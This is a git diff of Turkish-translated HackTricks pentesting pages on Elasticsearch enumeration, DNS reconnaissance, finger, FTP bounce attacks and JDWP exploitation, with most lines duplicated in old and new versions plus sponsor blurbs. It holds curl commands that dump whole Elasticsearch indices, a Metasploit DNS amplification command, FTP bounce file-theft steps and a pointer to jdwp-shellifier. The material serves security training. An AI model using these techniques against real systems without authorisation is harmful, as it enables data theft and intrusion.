Bu noktada, **"hits" içinde "total" adında bir alan olduğunu** fark edebilirsiniz; bu, **bu indekste 1000 belgenin bulunduğunu** ancak yalnızca 10'unun geri alındığını gösterir. Bunun nedeni, **varsayılan olarak 10 belge sınırının** olmasıdır.\
Ama, artık **bu indeksin 1000 belge içerdiğini** bildiğinize göre, **hepsini dökebilirsiniz**; dökmek istediğiniz giriş sayısını **`size`** parametresinde belirtebilirsiniz: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
Bu noktada, **"hits" içinde "total" adında bir alan olduğunu** fark edebilirsiniz; bu, **bu indekste 1000 belgenin bulunduğunu** ancak yalnızca 10'un geri alındığını gösterir. Bunun nedeni, **varsayılan olarak 10 belge sınırının** olmasıdır.\
Ama şimdi bu indeksin **1000 belge içerdiğini bildiğinize göre**, **hepsini dökebilirsiniz** ve dökmek istediğiniz giriş sayısını **`size`** parametresinde belirtebilirsiniz: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
_Not: Daha büyük bir sayı belirtirseniz, tüm girişler yine de dökülecektir; örneğin `size=9999` belirtebilirsiniz ve daha fazla giriş varsa garip olur (ama kontrol etmelisiniz)._
### Hepsini Dökme
Hepsini dökmek için, **önceki yolla aynı yola gidebilir ancak herhangi bir indeks belirtmeden** `http://host:9200/_search?pretty=true` adresine gidebilirsiniz, örneğin `http://10.10.10.115:9200/_search?pretty=true`\
Hepsini dökmek için, **öncekiyle aynı yola gidebilir ancak herhangi bir indeks belirtmeden** `http://host:9200/_search?pretty=true` adresine gidebilirsiniz, örneğin `http://10.10.10.115:9200/_search?pretty=true`\
Bu durumda **varsayılan 10** sonuç sınırının uygulanacağını unutmayın. Daha **büyük bir sonuç miktarını** dökmek için `size` parametresini kullanabilirsiniz. Daha fazla bilgi için önceki bölümü okuyun.
### Arama
Eğer bazı bilgiler arıyorsanız, tüm indekslerde **ham bir arama** yapmak için `http://host:9200/_search?pretty=true&q=<search_term>` adresine gidebilirsiniz, örneğin `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
Eğer bazı bilgiler arıyorsanız, tüm indekslerde **ham bir arama** yapabilirsiniz, `http://host:9200/_search?pretty=true&q=<search_term>` adresine giderek, örneğin `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
![](<../.gitbook/assets/image (335).png>)
Eğer sadece bir indekste **arama yapmak** istiyorsanız, **yolu** belirterek **bunu yapabilirsiniz**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
Eğer sadece bir indekste **arama yapmak** istiyorsanız, **yolu** belirterek bunu yapabilirsiniz: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
_K içerik aramak için kullanılan q parametresinin **düzenli ifadeleri desteklediğini** unutmayın._
_Araç içeriğini aramak için kullanılan q parametresi **düzenli ifadeleri destekler**_
Ayrıca bir elasticsearch hizmetini fuzzlamak için [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) gibi bir şey de kullanabilirsiniz.
### Yazma İzinleri
Yeni bir indekste yeni bir belge oluşturmayı deneyerek yazma izinlerinizi kontrol edebilirsiniz; aşağıdaki gibi bir şey çalıştırarak:
Yeni bir indekste yeni bir belge oluşturarak yazma izinlerinizi kontrol edebilirsiniz, aşağıdaki gibi bir şey çalıştırarak:
```bash
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
{
@ -160,7 +168,7 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
```
O cmd, "_bookId_", "_author_", "_publisher_" ve "_name_" özelliklerine sahip `books` türünde bir belge ile `bookindex` adında **yeni bir indeks** oluşturacaktır.
**Yeni indeksin şimdi listede göründüğüne** dikkat edin:
**Yeni indeksin şimdi listede nasıl göründüğüne dikkat edin**:
![](<../.gitbook/assets/image (130).png>)
@ -180,16 +188,24 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
* `port:9200 elasticsearch`
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -17,7 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. Recon'dan raporlamaya kadar 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -35,17 +37,17 @@ PORT STATE SERVICE REASON
### Farklı DNS Sunucuları
* **DNS Kök Sunucuları**: Bunlar DNS hiyerarşisinin en üstünde yer alır, üst düzey alan adlarını yönetir ve yalnızca alt düzey sunucular yanıt vermezse devreye girer. Atanan İsimler ve Numaralar için İnternet Kurumu (**ICANN**) bunların işletimini denetler ve dünya genelinde 13 adet bulunmaktadır.
* **Yetkili İsim Sunucuları**: Bu sunucular, belirlenen alanlarda sorgular için nihai karara sahiptir ve kesin yanıtlar sunar. Eğer yanıt veremezlerse, sorgu kök sunuculara yükseltilir.
* **Yetkisiz İsim Sunucuları**: DNS alanları üzerinde sahiplikleri olmayan bu sunucular, diğer sunuculara sorgular aracılığıyla alan bilgilerini toplar.
* **Önbellekli DNS Sunucusu**: Bu tür sunucular, önceki sorgu yanıtlarını belirli bir süre boyunca hafızada tutarak gelecekteki talepler için yanıt sürelerini hızlandırır; önbellek süresi yetkili sunucu tarafından belirlenir.
* **Yetkili İsim Sunucuları**: Bu sunucular, belirlenen bölgelerdeki sorgular için nihai karara sahiptir ve kesin yanıtlar sunar. Eğer yanıt veremezlerse, sorgu kök sunuculara yükseltilir.
* **Yetkisiz İsim Sunucuları**: DNS bölgeleri üzerinde sahiplikleri olmayan bu sunucular, diğer sunuculara sorgular aracılığıyla alan bilgilerini toplar.
* **Önbellek DNS Sunucusu**: Bu tür sunucular, önceki sorgu yanıtlarını belirli bir süre boyunca hatırlar ve gelecekteki talepler için yanıt sürelerini hızlandırır; önbellek süresi yetkili sunucu tarafından belirlenir.
* **Yönlendirme Sunucusu**: Basit bir rol üstlenen yönlendirme sunucuları, sorguları başka bir sunucuya iletir.
* **Çözücü**: Bilgisayarlar veya yönlendiriciler içinde entegre olan çözücüler, ad çözümlemesini yerel olarak gerçekleştirir ve yetkili olarak kabul edilmezler.
## Sayım
### **Afiş Alma**
### **Afiş Yakalama**
DNS'te afiş yoktur ama `version.bind. CHAOS TXT` için sihirli sorguyu alabilirsiniz; bu, çoğu BIND isim sunucusunda çalışacaktır.\
DNS'te afiş yoktur ama `version.bind. CHAOS TXT` için sihirli sorguyu yakalayabilirsiniz; bu, çoğu BIND isim sunucusunda çalışacaktır.\
Bu sorguyu `dig` kullanarak gerçekleştirebilirsiniz:
```bash
dig version.bind CHAOS TXT @DNS
@ -58,7 +60,7 @@ Ayrıca, bir **nmap** betiği ile de banner'ı almak mümkündür:
```
### **Her kayıt**
Kayıt **ANY**, DNS sunucusundan **açıklamaya istekli olduğu** tüm mevcut **girdileri** **geri döndürmesini** isteyecektir.
Kayıt **ANY**, DNS sunucusundan **açıklamaya istekli olduğu** tüm mevcut **girişleri** **dönmesini** isteyecektir.
```bash
dig any victim.com @<DNS_IP>
```
@ -118,7 +120,7 @@ Eğer iç IP adreslerine çözümleyen alt alan adlarını bulabiliyorsanız, o
Bunu yapmak için başka bir araç: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
Ters IP aralıklarını sorgulayabilirsiniz: [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (bu araç BGP ile de faydalıdır).
Ters IP aralıklarını sorgulayabilirsiniz [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (bu araç BGP ile de faydalıdır).
### DNS - Alt Alan Adları BF
```bash
@ -170,18 +172,20 @@ dig google.com A @<IP>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında mevcut kurulum**. Recon'dan raporlamaya kadar 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell açmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### Mevcut olmayan hesaba mail
Hedef alan içindeki geçersiz bir adrese gönderilen bir e-posta tarafından tetiklenen bir teslim edilmeme bildiriminin (NDN) incelenmesi yoluyla, genellikle değerli iç ağ detayları ifşa edilir.
Hedef alan içindeki geçersiz bir adrese gönderilen bir e-posta tarafından tetiklenen bir teslim edilmeme bildiriminin (NDN) incelenmesi yoluyla, değerli iç ağ detayları genellikle ifşa edilir.
Sağlanan teslim edilmeme raporu aşağıdaki bilgileri içerir:
Sağlanan teslim edilmeme raporu, aşağıdaki bilgileri içerir:
* Üretim sunucusu `server.example.com` olarak tanımlandı.
* `user@example.com` için `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` hata kodu ile bir hata bildirimi döndürüldü.
* `user@example.com` için `#550 5.1.1 RESOLVER.ADR.RecipNotFound; bulunamadı` hata kodu ile bir hata bildirimi döndürüldü.
* İç IP adresleri ve ana bilgisayar adları, orijinal mesaj başlıklarında ifşa edildi.
```markdown
The original message headers were modified for anonymity and now present randomized data:
@ -216,14 +220,14 @@ host.conf
/etc/bind/named.conf.log
/etc/bind/*
```
Tehlikeli ayarlar bir Bind sunucusu yapılandırırken:
Tehlikeli ayarlar Bind sunucusu yapılandırırken:
| **Seçenek** | **Açıklama** |
| ----------------- | ---------------------------------------------------------------------------- |
| ----------------- | ------------------------------------------------------------------------------ |
| `allow-query` | Hangi ana bilgisayarların DNS sunucusuna istek göndermesine izin verildiğini tanımlar. |
| `allow-recursion` | Hangi ana bilgisayarların DNS sunucusuna özyinelemeli istek göndermesine izin verildiğini tanımlar. |
| `allow-transfer` | Hangi ana bilgisayarların DNS sunucusundan alan transferi almasına izin verildiğini tanımlar. |
| `zone-statistics` | Alanların istatistiksel verilerini toplar. |
| `zone-statistics` | Alanların istatistiksel verilerini toplar. |
## Referanslar
@ -285,7 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. Recon'dan raporlamaya kadar 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -298,7 +304,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -17,11 +17,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Temel Bilgiler**
## **Basic Info**
**Finger** programı/hizmeti, bilgisayar kullanıcıları hakkında detaylar almak için kullanılır. Genellikle sağlanan bilgiler **kullanıcının giriş adı, tam adı** ve bazı durumlarda ek detayları içerir. Bu ek detaylar, ofis konumu ve telefon numarasını (varsa), kullanıcının giriş yaptığı zamanı, hareketsizlik süresini (boşta kalma süresi), kullanıcının en son okuduğu e-posta zamanını ve kullanıcının plan ve proje dosyalarının içeriğini kapsayabilir.
@ -73,7 +75,9 @@ finger @internal@external
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. Recon'dan raporlamaya kadar 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -86,7 +90,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -7,7 +7,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -15,30 +15,32 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
# Özgeçmiş
Eğer bir bounce FTP sunucusuna erişiminiz varsa, bu sunucunun diğer FTP sunucusundan \(bazı kimlik bilgilerini bildiğiniz yer\) dosya istemesini sağlayabilir ve bu dosyayı kendi sunucunuza indirebilirsiniz.
Eğer bir bounce FTP sunucusuna erişiminiz varsa, diğer FTP sunucusundan \(bazı kimlik bilgilerini bildiğiniz yer\) dosyalar talep etmesini sağlayabilir ve bu dosyayı kendi sunucunuza indirebilirsiniz.
## Gereksinimler
- FTP Orta sunucusunda geçerli FTP kimlik bilgileri
- Kurban FTP sunucusunda geçerli FTP kimlik bilgileri
- Her iki sunucu da PORT komutunu kabul ediyor \(bounce FTP saldırısı\)
- Her iki sunucu da PORT komutunu kabul eder \(bounce FTP saldırısı\)
- FRP Orta sunucusunun bazı dizinlerine yazabilirsiniz
- Orta sunucu, bir sebepten dolayı Kurban FTP Sunucusunda sizden daha fazla erişime sahip olacak \(bunu istismar edeceksiniz\)
## Adımlar
1. Kendi FTP sunucunuza bağlanın ve bağlantıyı pasif hale getirin \(pasv komutu\) böylece kurban servisi dosyayı göndereceği bir dizinde dinlesin
1. Kendi FTP sunucunuza bağlanın ve bağlantıyı pasif hale getirin \(pasv komutu\) böylece kurban hizmetinin dosyayı göndereceği bir dizinde dinlesin
2. FTP Orta sunucusunun Kurban sunucusuna göndereceği dosyayı oluşturun \(istismar\). Bu dosya, Kurban sunucusuna kimlik doğrulamak, dizini değiştirmek ve bir dosyayı kendi sunucunuza indirmek için gereken komutların düz metni olacaktır.
3. FTP Orta Sunucusuna bağlanın ve önceki dosyayı yükleyin
4. FTP Orta sunucusunun kurban sunucusuyla bir bağlantı kurmasını ve istismar dosyasını göndermesini sağlayın
5. Dosyayı kendi FTP sunucunuzda yakalayın
5. Kendi FTP sunucunuzda dosyayı yakalayın
6. FTP Orta sunucusundan istismar dosyasını silin
Daha ayrıntılı bilgi için şu gönderiyi kontrol edin: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
@ -46,7 +48,9 @@ Daha ayrıntılı bilgi için şu gönderiyi kontrol edin: [http://www.ouah.org/
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -59,7 +63,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -1,15 +1,15 @@
# Pentesting JDWP - Java Debug Wire Protocol
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -17,7 +17,9 @@ GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell açmaları ve eğlenmeleri için zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -25,7 +27,7 @@ GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt
JDWP istismarı, **protokolün kimlik doğrulama ve şifreleme eksikliğine** dayanır. Genellikle **8000 numaralı portta** bulunur, ancak diğer portlar da mümkündür. İlk bağlantı, hedef porta "JDWP-Handshake" gönderilerek yapılır. Eğer bir JDWP servisi aktifse, aynı dize ile yanıt verir ve varlığını doğrular. Bu el sıkışma, ağdaki JDWP hizmetlerini tanımlamak için bir parmak izi yöntemi olarak işlev görür.
Süreç tanımlamasıısından, Java süreçlerinde "jdwk" dizesini aramak, aktif bir JDWP oturumunu gösterebilir.
Süreç tanımlama açısından, Java süreçlerinde "jdwk" dizesini aramak, aktif bir JDWP oturumunu gösterebilir.
Kullanılacak araç [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Farklı parametrelerle kullanabilirsiniz:
```bash
@ -41,7 +43,7 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
1. **JDWP Genel Bakış**:
- Paket tabanlı bir ağ ikili protokoldür, öncelikle senkronizedir.
